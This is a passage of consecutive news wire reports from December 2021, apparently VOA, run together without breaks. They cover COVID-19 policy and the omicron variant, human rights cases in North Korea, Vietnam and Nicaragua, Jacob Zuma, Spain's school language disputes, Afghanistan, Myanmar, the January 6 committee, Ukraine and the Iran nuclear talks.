Wales health minister Brad Hazzard is expecting coronavirus infections to increase, but says there are no plans to reimpose restrictions. Once the unvaccinated are mixing in with the vaccinated you would have to expect the numbers will increase even further and that is worrying because that puts pressure on our doctors and our nurses. We are not about to start back-flipping on issues that we have promised the community we will do, Hazzard said. Australia is relaxing disease control measures despite rising infections and concerns about the effectiveness of vaccines against the omicron variant. New South Wales Wednesday recorded 1,360 new COVID-19 infections, its highest daily total since mid-September. Australia has detected about 230,000 COVID-19 cases since the start of the pandemic. Some 2,100 people have died. The health department has said that 89.5% of the eligible Australian population is fully vaccinated. Several U.N. Security Council members plus Japan urged their counterparts on the 15-nation council Wednesday to hold a public meeting regarding North Koreas human rights situation. The regimes egregious human rights violations, much like its unlawful WMD [weapons of mass destruction] and ballistic missile programs, are destabilizing to international peace and security and must be prioritized within the council, U.S. Ambassador Linda Thomas-Greenfield told reporters on behalf of her government and Britain, Estonia, France, Ireland, Japan and Norway. All but Japan are Security Council members. In 2014, a commission of inquiry mandated by the U.N. Human Rights Council published a lengthy and damning report on the situation in North Korea, saying crimes against humanity of an unimaginable scale continue to be committed in the DPRK [Democratic Peoples Republic of Korea]. Since that time, the Security Council began discussing the DPRK human rights situation each December, despite objections from some members who said the council was not the appropriate U.N. forum for it. On Wednesday, the council held a private discussion of the situation before Thomas-Greenfield spoke, flanked by envoys from the states joining her statement. The U.N. General Assembly is expected to adopt its annual resolution condemning the situation of human rights in North Korea on Thursday. In November, the regime rejected international criticism of its rights record at the U.N., saying abuses were fabrications cooked up by hostile forces and part of a smear campaign against the government. Those ongoing abuses include murder, enslavement, torture, imprisonment, rape, forced abortions, enforced disappearances, starvation and political, religious, racial and gender persecution. The U.N. Commission of Inquiry found that the DPRK commits crimes against humanity directed by the highest levels of the state, Thomas-Greenfield said. The modern world has no place for such brutality, and it is time for the council to address it. While we are glad the Security Council discussed this important topic today, we believe it is worthy of a briefing in an open session. In order to hold a public meeting, a procedural vote must be held, with at least nine members supporting the session. The veto does not apply in these kinds of votes. From 2014 to 2017, the council held open meetings on the subject, but since then they have been held in private. South Africa's High Court has ordered former President Jacob Zuma back to jail, to serve out the remainder of his 15-month sentence for contempt of court.It called the decision in September to release Zuma on medical parole unlawful. There is no evidence South Africas former president Jacob Zuma is terminally ill or incapacitated, the countrys High Court said Wednesday in reversing a decision to grant him medical parole. The court slammed the national commissioner who granted Zuma medical parole in September, calling the decision irrational, and based on irrelevant considerations. Zuma was found guilty of contempt of court in June and sentenced to fifteen months in prison for failing to appear before a national inquiry into state graft. The 79-year-olds arrest in July sparked protests among his supporters. The street action spiraled into riots and looting in his home province of KwaZulu-Natal and the countrys economic hub of Gauteng. Threats of unrest were previously cited as reason to support Zumas parole application. But in Wednesdays ruling, the court deemed it groundless for releasing an offender. The court also ruled that his time on medical parole doesnt count toward his sentence, so Zuma will have to fulfill the entirety of his sentence behind bars. Opposition Democratic Alliance leader John Steenhuisen called the judgement a big victory for the rule of law and the principle of equality before the law. The former presidents education charity, the Jacob Zuma Foundation, called the courts ruling clearly wrong and said his legal team has already filed an appeal. A family who went to court to ensure a quarter of the classes for their five-year-old son at a primary school are taught in Spanish were offered police protection Wednesday after they said they were harassed and abused. The family, residents of Canet de Mar, a Mediterranean coastal town 50 kilometers northeast of Barcelona, won their case at the Catalan High Court last week. The case has spotlighted a bitter battle in Spain over languages and identity politics not just in Catalonia but in the Basque Country, Galicia, and the Balearic Islands. Spain has four official languages: Castilian Spanish, Catalan, Galician and Basque. Officially they have equal status in law. However, Castilian emerged as the dominant language because of widespread use of the language across the empire from 1492 until 1976. One of the largest empires in the world, it covered large portions of the Americas, Europe, the Philippines and Africa. During his rule from 1939 to 1975, General Francisco Franco banned the use of regional languages other than Castilian in schools and other public spaces. After democracy returned to Spain in 1978, the nationalist regional government in Catalonia adopted the so-called 'linguistic immersion' model to re-establish the language. Under this model, Catalan is the primary language in state schools. Other versions were implemented in the Basque Country and Galicia. Angry reaction The actions of the family, whose identity has not been released to protect the child, prompted an angry reaction from Catalan nationalists and activists who claim their actions threaten the region's language and culture. Plataforma per la Lleguna Catalana, or Platform for the Catalan Language, a group that advocates for the Catalan language, condemned the court ruling in the Canet de Mar case. Oscar Escuder, the groups president, said his organization did not oppose the teaching of Spanish in schools but wanted to defend the right to be taught Catalan well. We are not against any language. We just want people to be taught Catalan properly, not more than any other language, he told VOA. The organization pointed to a recent poll that found 82% of the 7.5 million residents of Catalonia surveyed support the linguistic immersion model. Josep Gonzalez-Cambray, education minister for the pro-independence Catalan government, condemned threats to the family but told a press conference last week: The Catalan school model is a model of success which guarantees us social cohesion, equity and equal opportunities. Vox, a far-right party, led a demonstration Tuesday in Barcelona demanding families have the right to speak Spanish while other right-wing political parties have seized on the issue. Language is a potent political issue as Spain's minority left-wing government depends on the support of nationalist parties in Catalonia and the Basque Country to pass laws. Gloria Lagos, president of Hablamos Espanol, or We Speak Spanish, a group that promotes Spanish, said the issue of linguistic politics was not confined to Catalonia. Other regions Maria Luisa Sanchez Gonzalez, 44, went to court in San Sebastian, in the Basque Country, to fight for the right for her nine-year-old son to be taught in Spanish. She says all the classes were in Basque. She originally asked for him to be taught partly in Spanish at primary school but was told this was not available. Sanchez says after suffering threats and abuse, she and her husband were victorious when a court ruled the Basque educational authorities failed to uphold her rights under the Spanish Constitution. Her son now goes to a school where 30% of classes are taught in Spanish at a cost of $565 per month to regional authorities. Ten years after the Basque separatist organization ETA declared a permanent cease-fire stopping a bloody 40-year conflict, sensibilities about the region's language remain high. People in Catalonia are afraid to speak out about this, but they are more scared here in the Basque Country because only ten years ago if you said anything against the Basque language you got two shots in the head, Sanchez told VOA. Paul Bilbao, of the Council of Social Entities in the Basque Country, which promotes Basque, told VOA that he would like to see a total immersion model in the region like Catalan model. That way we could ensure that all children left school with a proper level of the Basque language, he said. In Galicia, in northwestern Spain, Rodrigo Villar Cervino, 49, a businessman, is considering taking legal action so his two children, aged nine and six, can be taught in Spanish instead of Galician. The teacher in my son's class does not allow him to express himself in his mother tongue- Spanish something which is a right in the Constitution. I have nothing against Galician, but I think my children will learn better in their mother tongue, he told VOA. When VOA sought a response from the Galician regional government, a spokesman denied that pupils were prohibited from speaking Spanish in any school. On Wednesday, the Spanish government and the pro-independence Catalan Republic Left party agreed a deal to guarantee the 2022 budget is passed. Under the deal, Spain will pay $16.9 million every year to Netflix, HBO and other streaming platforms to make 15% of their content in Catalan and other regional languages. The head of the South African Medical Association says there is a major difference between the delta and omicron variants of the coronavirus and warns politicians against hyping the threat from the new strain. Dr. Angelique Coetzee criticized Tuesday what she described as the over-reaction to the heavily mutated omicron variant by some European governments and cited Britains Boris Johnson, who she accused of creating hysteria about the new strain. On Tuesday, the House of Commons approved the reimposition of pandemic restrictions, and the introduction of some new ones, because of rising omicron cases in the country, although Johnson faced a major rebellion by a third of his parliamentary party and relied on opposition parties for the vote. Coetzee was one of the first medical practitioners in the world to raise the alarm about the new variant. Its genomic data was sequenced last month by scientists in Hong Kong, Botswana as well as South Africa. The emergence has contributed to pandemic alarm in Europe, where governments are already battling the delta strain and are racing to reimpose restrictions. Coetzee told Britains Sky News that delta was heart-breaking and that her patients who contracted it were extremely, extremely sick and when opening the door to them you just knew they were in trouble, she explained. But nearly a month into the omicron wave in South Africa, she says she has not seen similar grim scenes and that her omicron patients are suffering much milder symptoms. Apart from one, who had HIV and other comorbidities, none have died. The British governments medical advisers are predicting one million omicron infections by the end of the month, and although South Africa is seeing tens of thousands of new cases daily. Coetzee cautions calm, saying Britain and other European countries are much better vaccinated than South Africa and in a better position to battle it. Even if you get breakthrough infections, it's mild cases, she added, saying she understands the need to take precautionary measures but says, dont hype it up. Some scientists disagree with Coetzee. The chief executive of Britains Health Security Agency told lawmakers Wednesday that omicron is probably the most significant threat since the start of the pandemic. Dr. Jenny Harries said the new variant was much more transmissible than delta and the rapid spread of omicron would lead to a staggering number of COVID cases over the next few days. She delivered a series of dire warnings about the countrys health care system, although she added it was probably too early to tell how serious the scale of increasing infections across the world would turn out to be. The difficulty is that the growth of this virus, it has a doubling time which is shortening, i.e., its doubling faster, growing faster, she said. Governments across Europe are closely observing events unfolding in Britain for a sense of what may lie ahead for them as omicron spreads, and they are worried that reinfection rates from omicron are much higher than has been seen with earlier variants. Restrictions and penalties More countries are adopting restrictions. Italy this week required negative tests from vaccinated visitors to the country. Portugal has a similar measure in place. Many European countries have a virtual lockdown for the unvaccinated and are scrambling to increase vaccine booster programs. And more governments, including Germanys, are proposing or considering mandatory vaccines. Austria and Italy already plan to impose hefty fines on eligible people who do not get vaccinated. People over 65 years old in France will be under effective lockdown from Wednesday, if they have not received a third vaccine booster dose. Frances health pass will no longer be valid for the elderly who have not received a third dose, barring those who have not been boosted from visiting restaurants or cafes or taking intercity trains. They will also be prohibited from visiting cultural venues like cinemas or museums. European Commission President Ursula von der Leyen warned Wednesday the European Union faces a double challenge, with a massive increase of delta cases in recent weeks and the threat of omicron looming. Were seeing an increasing number of people falling ill, a greater burden on hospitals and unfortunately, an increase in the number of deaths, she told European Parliament lawmakers. And what Im concerned about is that we now [are] seeing the new variant omicron on the horizon, which is apparently even more infectious, she added. But as governments go into overdrive, some epidemiologists and virologists are echoing Angelique Coetzee. Professor Tim Spector, the head of Genetic Epidemiology at Kings College, London, says the majority of symptoms are just like a common cold, so we're talking about headaches, sore throat, runny nose, fatigue, and things like sneezing. He added: So, things like fever and cough and loss of smell are now actually in the minority of the symptoms that we're seeing. Earlier this week, the first major study published into the new variant also suggested illness from omicron is less severe than from delta. The study of 78,000 omicron cases in South Africa found the risk of hospitalization is 29% lower compared with the Wuhan strain, and 23% lower than with delta. Far fewer people have been needing intensive care. Just 5% of omicron cases have been admitted to intensive care units compared to 22% of delta patients, the study shows. The data for the study was compiled by Discovery Health, South Africas largest private health insurer, and the South Africa Medical Research Council. It noted omicron can evade vaccines more than earlier strains, but the study found vaccines are still holding up well, although there were high numbers of breakthrough infections in people who had been vaccinated. Vaccine effectiveness against infection dropped from 80% to 33%, according to the study, but offered 70% protection against hospital admission. Boosters may also mitigate the reduction in vaccine effectiveness, according to the study. Some European scientists have cautioned, though, against reading too much into the South African study, saying that South Africa's population is much younger and that demographic differences could alter medical outcomes. A lawyer for Vietnamese author and journalist Pham Doan Trang has described as tense the one-day trial that resulted in a nine-year sentence for Trang on Tuesday. The award-winning journalist was convicted of spreading anti-state propaganda under Article 88 of Vietnams Penal Code. The charge has been criticized by her lawyer Dang Dinh Manh and international rights organizations, who say Trang is being penalized for her work. We believe what Trang has done was merely exercising the right to freedom of speech," said Manh, one of five lawyers who defended the 43-year-old journalist. He added that the charge contradicts provisions in Vietnams constitution that protect free speech. The lawyer told VOA the Hanoi People's Court judges maintained that Trang's behavior was "dangerous to the society and the administration. Manh added that in an unusual move, the court handed down a prison term longer than requested by the prosecution. Manh said that Trang was frequently interrupted when addressing the court. The journalist, who was arrested in October 2020, pleaded not guilty. We believe that the conviction of Trang does not have enough of a legal basis, said Manh. Trangs family has protested the sentence. Her brother, Nguyen Chinh Truc, who attended the trial with their 81-year-old mother, told VOA he raised objections at the hearing. International reaction The United States and other governments, along with international rights groups, have condemned the conviction of Trang, who is known for her reports on human rights and legal issues affecting Vietnamese. In a statement released Tuesday, State Department spokesperson Ned Price said that Trang did nothing more than peacefully express her opinions. He called on Vietnam to release the journalist who has been recognized internationally for her work to advance human rights and good governance in Vietnam. Britain, Germany and the Czech Republic also voiced concern at the sentencing. Vietnams Foreign Ministry did not immediately respond to VOA's request for comment on Trangs case and the international condemnation of her conviction. The ministry spokesperson has previously said that only criminals are imprisoned in Vietnam. Trang is one of at least 23 journalists in jail for their work as of December, according to data by the New York-based Committee to Protect Journalists. In 2019, Trang was honored with the prize for impact by media watchdog Reporters Without Borders (RSF). The watchdog criticized her sentencing and is campaigning to have Trang released. This is political justice carried out on the ruling partys orders with the sole aim of punishing a journalist just for trying to inform her fellow citizens, Daniel Bastard, the head of RSFs Asia-Pacific desk, said in a statement. We urge the international community to impose targeted sanctions on the Vietnamese officials responsible for Pham Doan Trangs unacceptable fate, in order to obtain her immediate release, he added. Before becoming an advocate for democracy and human rights in Vietnam, Trang worked for state-owned newspapers. She founded the online law and human rights magazine Luat Khoa and has authored several books that authorities banned from publication. In May 2016, the journalist was detained and prevented from meeting then-U.S. President Barack Obama, who had invited her to take part in a forum during his visit to Hanoi. Trangs lawyer, Manh, said they may appeal the sentence. Trangs brother, Truc, said the family will discuss options with her legal team. In a letter titled "JUST IN CASE I AM IMPRISONED," that was shared publicly shortly after Trang was arrested in October 2020, she called for reforms of election laws in Vietnam. I don't want a campaign that calls on the Vietnamese government to simply free Trang, she wrote. I want a comprehensive social movement that pushes the government to free Trang and pass new election laws. The letter was published by Will Nguyen, who wrote a report with her on the Dong Tam land dispute in 2020. For years, residents of Dong Tam have resisted efforts by the military to build an airport on their land. Land disputes are common in Vietnam. Before her arrest, Trang said she did not want to be a pawn for the government. Her brother told VOA on Tuesday, We dont think Trang will change that position. This story originated in VOAs Vietnamese service. Some information provided by AFP and Reuters. The Taliban didnt take the Afghan capital they were invited, says the man who issued the invitation. In an Associated Press interview, former Afghan President Hamid Karzai offered some of the first insights into the secret and sudden departure of Afghan President Ashraf Ghani and how he came to invite the Taliban into the city to protect the population so that the country, the city doesnt fall into chaos and the unwanted elements who would probably loot the country, loot shops. When Ghani left, his security officials also left. Defense minister Bismillah Khan even asked Karzai if he wanted to leave Kabul when Karzai contacted him to know what remnants of the government still remained. It turned out there were none. Not even the Kabul police chief had remained. Karzai, who was the countrys president for 13 years after the Taliban were first ousted in the wake of the 9/11 attacks, refused to leave. In a wide-ranging interview at his tree-lined compound in the center of the city where he lives with his wife and young children, Karzai was adamant that Ghanis flight scuttled a last-minute push by himself, the governments chief negotiator Abdullah Abdullah and the Taliban leadership in Doha that would have seen the Taliban enter the capital as part of a negotiated agreement. The countdown to a possible deal began Aug. 14, the day before the Taliban came to power. Karzai and Abdullah met Ghani, and they agreed that they would leave for Doha the next day with a list of 15 others to negotiate a power-sharing agreement. The Taliban were already on the outskirts of Kabul, but Karzai said the leadership in Qatar promised the insurgent force would remain outside the city until the deal was struck. Early on the morning of Aug. 15, Karzai said, he waited to draw up the list. The capital was fidgety, on edge. Rumors were swirling about a Taliban takeover. Karzai called Doha. He was told the Taliban would not enter the city. At noon, the Taliban called to say that the government should stay in its positions and should not move that they have no intention to (go) into the city, Karzai said. I and others spoke to various officials and assurances were given to us that, yes, that was the case, that the Americans and the government forces were holding firm to the places (and) that Kabul would not fall. By about 2:45 p.m., though, it became apparent Ghani had fled the city. Karzai called the defense minister, called the interior minister, searched for the Kabul police chief. Everyone was gone. There was no official present at all in the capital, no police chief, no corps commander, no other units. They had all left. Ghanis own protection units deputy chief called Karzai to come to the palace and take over the presidency. He declined, saying legally he had no right to the job. Instead, the former president decided to make a public, televised message, with his children at his side so that the Afghan people know that we are all here. Karzai was adamant that there would have been an agreement for a peaceful transition had Ghani remained in Kabul. Absolutely. Absolutely. That is what we were preparing for, what we were hoping (along) with the chairman of the peace council to go to Doha that evening, or the next morning, and to finalize the agreement, he said. And I believe the Taliban leaders were also waiting for us in Doha for the same ... objective, for the same purpose. Today, Karzai meets regularly with the Taliban leadership and says the world must engage with them. Equally important, he said, is that Afghans have to come together. War has dominated Afghanistan for more than 40 years, and in the last 20 years Afghans have suffered on all sides, he said. Afghans have lost lives on all sides. ... The Afghan army has suffered. Afghan police have suffered, the Taliban soldiers have suffered. He added: An end to that can only come when Afghans get together, find their own way out. The former president has a plan. In his talks with the Taliban, he is advocating the temporary resurrection of the constitution that governed when Afghanistan was a monarchy. The idea was also floated during earlier Doha talks. At the same time, a traditional Loya Jirga a grand council of all Afghans, including women would be convened. It would decide the countrys future, including a representative government, a constitution, a national flag. Theres no indication the Taliban will accept his formula, though he says they have not rejected it in discussions. A jirga is a centuries-old Afghan tradition for decision-making and is particularly popular among ethnic Pashtuns, which make up the backbone of the Taliban. Karzai said a future Afghanistan has to have universal education rights for boys and girls and women must find their place in the Afghan polity, in the administration, in economic activity and social activity, the political activity in all ways of life. ... Thats an issue on which there cannot be any compromise. But until it happens, Karzai says, the world has to engage with the Taliban. Afghanistan needs to operate. Government servants have to be paid. Health care facilities need to function. Right now, they need to cooperate with the government in any form they can, said Karzai. who also bemoaned the unchallenged and sometimes wrong international perceptions of the Taliban. He cited claims that women and girls are not allowed outside their homes or require a male companion. Thats not true. There are girls on the streets women by themselves. The situation on the ground in Kabul bears this out. Asked to describe the Taliban, Karzai said: I would describe them as Afghans, but Afghans who have gone through a very difficult period in their lives as all other Afghans have done for the past 40 years. We have been through an extremely difficult period of our history in which we, the Afghans, have made mistakes on all sides, in which the international community and those who interacted with us have made tremendous mistakes, Karzai said. Its time for all of us to realize that, and to look back at the mistakes that we have all made and to make it better. The U.N. High Commissioner for Human Rights, Michelle Bachelet, is urging the Nicaraguan government to urgently restore public rights and freedoms and the rule of law, which observers say have been under siege since 2018. A report on Nicaraguas human rights situation has been submitted to the U.N. Human Rights Council. The report tracks the evolution of the electoral process from 2018 until November 7 when Nicaraguas general election was held. The High Commissioners report finds the lead-up to the election marred by many irregularities and gross violations of human rights. The report documents the arbitrary detention of no fewer than 39 political leaders, human rights defenders, businesspeople, journalists, peasants, and student leaders during the electoral period, between May and October. This group includes seven people who had declared their intention to run for president. Deputy High Commissioner for Human Rights, Nada al-Nashif, says 35 of these people still are detained in the pre-trial detention center known as Nuevo Chipote. According to the information received, many have been detained incommunicado for over 90 days, some in prolonged solitary confinement, and they have only been able to see their families on isolated occasions. Such conditions pose real risks to their physical and mental integrity and may constitute cruel, inhuman or degrading treatment or even rise to torture, said al-Nashif. The report documents the detention of more political activists and journalists on ambiguous criminal charges during the election weekend and following days. It notes harassment and arbitrary arrests have limited the ability of human rights defenders to monitor the electoral process. Al-Nashif says protests or demonstrations by groups not participating in the elections were banned in the country. All these restrictions and human rights violations created an environment unconducive to genuine and free elections. In this regard, all people arbitrarily detained should be immediately released and have their civil and political rights fully restored, she said. Nicaraguas attorney general, Wendy Morales Urbina, rejects the High Commissioners report, calling it prejudicial, lacking in objectivity, politically biased and interventionist. U.S. Secretary of State Antony Blinken said Wednesday it is necessary to look at applying additional measures against Myanmar where 10 months after a military coup the crisis has only continued to worsen. Speaking to reporters alongside Malaysian Foreign Minister Saifuddin Abdullah during a visit to Kuala Lumpur, Blinken said the goal of actions by individual countries or a collective effort would be to pressure the regime to put the country back on a democratic trajectory. He cited several specific goals, including an end to violence, the release of prisoners and access for humanitarian workers. ASEAN has a five-point consensus plan that the junta agreed to and signed on to, Blinken said, referencing the Association of Southeast Asian Nations. That plan needs to be implemented. Saifuddin said the situation in Myanmar will be an important part of the agenda when ASEAN foreign ministers meet next month and that a more detailed plan for the roadmap is necessary. We should be looking at what are the real next steps, he said. We have the five-point consensus, but we do not identify exactly when certain things need to be achieved and how. So, outlining the actual steps and the actual milestones as to the dates and outcomes would be, I believe, an important position that we will try and arrive at during our meeting. Saifuddin expressed the need to take action, highlighting the spillover effects to Myanmars neighbors such as the number of Rohingya refugees being hosted in Bangladesh and Malaysia. I understand that we celebrate the principles of non-interference, but if I can reiterate what I had said earlier, ASEAN should also look at the principle of non-indifference because what is happening in Myanmar is already getting out of Myanmar, he said. Blinkens visit to Malaysia also includes a meeting with Prime Minister Dato Sri Ismail Sabri bin, as well as talking with representatives from Malaysias energy sector about clean energy reforms and an event with people involved with the Malaysian Young Southeast Asia Leadership Initiative. He travels Thursday to Thailand. VOA State Department Correspondent Nike Ching contributed to this report from Kuala Lumpur. The U.S. House of Representatives has approved a resolution that calls on the Justice Department to formally charge Mark Meadows, former President Donald Trumps chief of staff, with criminal contempt of Congress for refusing to testify to the special committee investigating the January 6 riot at the U.S. Capitol by Trumps supporters. The resolution passed the Democratic-led House late Tuesday night by a vote of 222-208, with just two Republicans joining all Democrats voting in favor. The two Republicans, Adam Kinzinger of Illinois and Liz Cheney, serve on the special committee with seven Democrats that voted unanimously Monday to recommend that Meadows face criminal charges. Meadows handed over 6,600 pages of records taken from personal email accounts and about 2,000 text messages to the nine-member House of Representatives committee investigating the violence by hundreds of Trump supporters at the Capitol 11 months ago. The trouble happened as lawmakers were certifying that Democrat Joe Biden had defeated Trump in his reelection bid. Meadows initially agreed to testify about his role before January 6 in trying to help Trump claim a second four-year term in the White House and his actions that day. Protesters, urged by Trump to fight like hell to keep him in office, stormed the Capitol, smashed windows and fought with police. Last week, Meadows changed his mind about testifying, citing Trumps assertion of executive privilege to keep documents secret to inhibit the investigation. If youre making excuses to avoid cooperating with our investigation, youre making excuses to hide the truth from the American people about what happened on January 6th, Mississippi Representative Bennie Thompson of Mississippi, the chairman of the special committee, told lawmakers during a debate before Tuesday nights vote. Meadows served in the U.S. House of Representatives as a Republican from North Carolina from 2013 to 2020 before becoming Trumps chief of staff. He is the first former congressman to be held in contempt since 1830. Republican Rep. Jim Jordan of Ohio condemned the resolution during the full House debate and defended his former colleague. This is as wrong as it gets, Jordan told lawmakers. You all know it. But your lust for power, your lust to get your opponents, is so intense you dont care. Ahead of Mondays committee vote, Cheney detailed text messages sent to Meadows as the January 6 attack on the Capitol unfolded with prominent conservative media figures and one of Trumps sons urging Meadows to encourage Trump to do more to halt the actions of his supporters. Cheney said the messages show Trumps supreme dereliction and raised questions about whether through his inaction he sought to interrupt the congressional task of certifying the presidential election result showing that he lost. These texts leave no doubt, Cheney said. The White House knew exactly what was happening at the Capitol. The House committee has already held another former Trump aide, Steve Bannon, in contempt of Congress for his refusal to comply with a subpoena to testify. Bannon was later indicted and, if convicted, could face up to a year in prison. The investigative panel late Sunday issued a 51-page report that showed Meadows was deeply involved in trying to keep Trump in office even though the former president had lost five dozen court challenges in various states contesting his election loss and numerous vote recounts in individual political battleground states all upheld Bidens victories. State election officials often said there was no appreciable voter fraud, as Trump has alleged to this day, that would have changed the outcome in his favor. If Meadows had appeared for a deposition, the committee said it would have questioned him about numerous documents he provided. On Monday, Meadows said through his attorney that the committees referral was unwise, unfair and contrary to law, according to The Associated Press. Meadows said in an interview on the Fox News cable network late Monday the committees decision was disappointing, but not surprising. This is about Donald Trump and about actually going after him once again, Meadows said. In a November 7, 2020, email, the committee said that just days after Trump lost the election, Meadows discussed an effort to have state legislators in states Trump lost appoint electors supporting Trump rather than the pro-Biden electors a majority of voters had chosen. In text messages with an unidentified senator, Meadows discussed Trumps erroneous view that then-Vice President Mike Pence had the power to overturn the Electoral College vote count as lawmakers officially certified the state-by-state tally on January 6. Pence drew Trumps ire as he refused to upend the Electoral College vote, which Biden won by a 306-232 margin, the same count Trump won by in 2016. A day before the riot occurred, Meadows said National Guard troops would be at the Capitol to protect pro-Trump people. Other emails touched on the rioting at the Capitol as it unfolded, with pro-Trump supporters shutting down the Electoral College vote count for hours before Biden was finally declared the winner in the early hours of January 7. The committee also said it wants to ask Meadows about claims he made in his new book, The Chiefs Chief, about his time in the White House with Trump. Mr. Meadows has shown his willingness to talk about issues related to the Select Committees investigation across a variety of media platforms anywhere, it seems, except to the Select Committee, the panel wrote. In turn, Meadows has sued the committee, asking a court to invalidate two subpoenas that he says are overly broad and unduly burdensome. The panel has interviewed nearly 300 witnesses and lawmakers linked in some way to the rioting or contesting of the election results. The committee says it is planning a series of hearings early next year to make public many of its findings. Some of the more than 600 people charged in the rioting, often identified by boasts on social media accounts of being inside the Capitol, have been sentenced to prison terms of a few months or, in more serious cases, to more than four years. But most of the criminal charges have yet to be adjudicated. Some information in this report came from The Associated Press and Reuters. U.S. lawmakers just back from a visit to Ukraine warn that Washingtons threats of sanctions and diplomatic maneuvering are not doing enough to dissuade Russian President Vladimir Putin from potentially launching an invasion. The group of Democrats and Republicans visited Kyiv Saturday and Sunday where they met with the commander of the Ukrainian special forces and with U.S. special operators and National Guard troops who have been helping the Ukrainian military with training. They described the situation as very concerning and urged the White House to speed up the delivery of weapons to the Ukrainian forces in the hopes of staving off a Russian invasion. I think promising tough action, just to be candid, after an invasion, will do very little in terms of Putin's calculus, Republican Representative Michael Waltz told reporters Tuesday. We're seeing Putin, I think, do this in many respects because he knows he can get away with it, Waltz added. We need to help Ukraine porcupine themselves and raise the costs now. Democrats on the trip likewise urged the White House to take actions that will make Russia feel the blowback for an invasion of Ukraine almost instantly. If Putin invades, I want him to know that he'll have trouble buying a soda from a vending machine in the next five minutes, not that NATO will convene a conference to debate what to do next over the ensuing several weeks, Representative Seth Moulton said. We need to clearly communicate how the weapons we provide will cause large losses of Russian troops on Day One, not just over time, he said. Not just convincing them or trying to convince them that an occupation will be painful, but rather that an immediate full-scale invasion will be hard to take immediately. The lawmakers also expressed confidence that unlike in 2014, when Russia invaded and occupied Crimea, Ukrainian forces are prepared to mount a fierce resistance if Putin sends in Russian troops. They said it would be folly, though, to think Ukrainian troops could hold out for long. I think what we have to work on in the immediate future, right now, is to create the capability for a strong resistance in nonconventional warfare, said Democrat Ruben Gallego. (Ukraine) being able to hold out and impose costs will be very helpful, he said. And that would hopefully change the calculation that Putin is using. The lawmakers called for the White House to speed up the delivery of weapons to Ukraine, including ship-to-shore missiles, air defense missiles and additional Javelin anti-tank missiles. Some analysts have suggested such a strategy, aimed at imposing a military cost on Moscow, could work. I think if Putin goes big, it could become very costly for him, Luke Coffey of the Washington-based Heritage Foundation said Monday in response to a question from VOA. They have a very robust reserve system in Ukraine where they can call up huge numbers of forces, he said. The further west that Russian forces would move, the stiffer the resistance would become, without a doubt. The White House signaled Tuesday it is prepared to stay the course, however, promising Moscow will pay a terrible price should it invade Ukraine due to what U.S. President Joe Biden has described as devastating sanctions. Our objective continues to be to keep this on a diplomatic path and for that to lead to de-escalation, White House press secretary Jen Psaki told reporters Tuesday. We're obviously engaged in daily conversations with Europeans, with Russians, with Ukrainians, and conveying exactly what we think should happen here to de-escalate the situation on the ground, Psaki said. Yet those talks, including meetings by U.S. Assistant Secretary of State Karen Donfried with Russian officials in Moscow, seem to be having little impact on the ground, at least so far. The Pentagon said Tuesday it has seen no evidence of a pullback by Russian forces massed along the border with Ukraine. Putin on Tuesday reiterated Russias concern about Ukraines potential membership in NATO during a call with French President Emmanuel Macron, insisting the West provide Moscow with needed security guarantees. "The Russian president emphasized the importance of immediately launching international negotiations to develop legally fixed guarantees that would prevent any further NATO expansion to the east and the deployment of weapons to neighboring states, primarily in Ukraine, that threaten Russia," the Kremlin said in a statement. Russias deputy foreign minister earlier threatened that Moscow could be forced to deploy tactical nuclear weapons if the U.S. and NATO fail to put an end the alliances eastward expansion. NATO Tuesday dismissed such talk as hypocritical, specifically the Kremlins call for a moratorium on intermediate-range nuclear forces in Europe. "We had a ban, and they violated that ban," NATO Secretary General Jens Stoltenberg told reporters. "It is not credible when they now propose a ban on something they actually have already started to deploy." Some information from Reuters was used in this report. A senior U.S. official said Tuesday that Iran cannot be allowed to "slow-walk" nuclear diplomacy at talks in Vienna to revive the 2015 deal to prevent Iran from obtaining a nuclear bomb. "And we're convinced that if Iran approaches talks in Vienna with urgency and good faith, we can quickly reach and implement an understanding on mutual return. We cannot, however, allow Iran to accelerate its nuclear program and slow-walk its nuclear diplomacy," U.S. Ambassador Linda Thomas-Greenfield told the U.N. Security Council. "I am sorry to report that is exactly what appears to be happening at JCPOA talks in Vienna." She reiterated that the Biden administration is "fully prepared" to lift sanctions inconsistent with its commitments under the deal, known formally as the Joint Comprehensive Plan of Action. That would allow Iran to receive the economic benefits of the deal. Thomas-Greenfield said Iran marked the latest round of talks that began on November 29 with new nuclear provocations and "vague, unrealistic, maximalist and unconstructive positions" on both nuclear and sanctions issues. The United States is participating indirectly in the talks because it withdrew from the deal under the Trump administration in 2018. But in New York, both U.S. and Iranian ambassadors were seated around the same Security Council table. The U.S. envoy said Iran's nuclear escalations raise questions about its intentions. "Let me be clear: Iran's actions will not provide Iran with any leverage in negotiations and only intensify our concerns with Iran's activities," she said. "The fact is that we have been completely deprived of our rights and benefits under the JCPOA for almost four years," Ambassador Majid Takht Ravanchi told the council. He said the Iranian people are feeling the impact of the sanctions. "As the results of such gross violations of international law, the scope and extent of the damage to the Iranian people and economy is severe," he said. He said Iran must be assured that all sanctions will be lifted and that the U.S. will not withdraw from the deal again. "Our team in the Vienna talks is serious and well prepared to engage meaningfully and constructively with the other sides, and hopes to see the same approach from them," Ravanchi told reporters after the meeting. The Security Council meets twice each year to review implementation of the nuclear deal, which it endorsed in a council resolution. The JCPOA provided Iran with sanctions relief in exchange for limits on its nuclear program. Tehran denies seeking nuclear weapons. In addition to Iran, the remaining parties to the deal are Britain, China, France and Russia, plus Germany. "We are at a crossroads: If Iran engages seriously in the diplomatic process, a good deal for Iran and for all of us can be reached rapidly," said German Ambassador Antje Leendertse. "If Iran does not engage constructively, crisis will be inevitable and will be costly for us all." The E3, as Britain, France and Germany are known, have been clear they do not want the deal to collapse, but they have warned in recent days that the window of opportunity is closing. "We are nearing the point where Iran's escalation of its nuclear program will have completely hollowed out the JCPOA," France's U.N. envoy Nicolas de Riviere said ahead of the meeting, reading a statement on behalf of the three nations. One year after the U.S. withdrawal, Iran began advancing its nuclear program, enriching uranium beyond the thresholds allowed in the agreement, among other steps. It has also prevented inspectors from the International Atomic Energy Agency from accessing its nuclear facilities, raising concerns about what is going on behind closed doors. Even Russia and China, which are sympathetic to Iran, have made clear they want to see Tehran's return to full compliance, as well as the U.S. return. "The deal is the biggest confidence-building measure both in the region and globally," said Russian deputy U.N. ambassador, Dmitry Polyanskiy. "Without it, there can be no confidence. Those who believe there can be a "world without JCPOA" must recognize that this would be another world, far less predictable and more dangerous." U.N. Secretary-General Antonio Guterres called on Washington to lift or waive its JCPOA-related sanctions. Those sanctions were reimposed by the Trump administration after it left the deal. The U.S. Congress moved the United States one step closer this week to becoming the first country to ban the import of 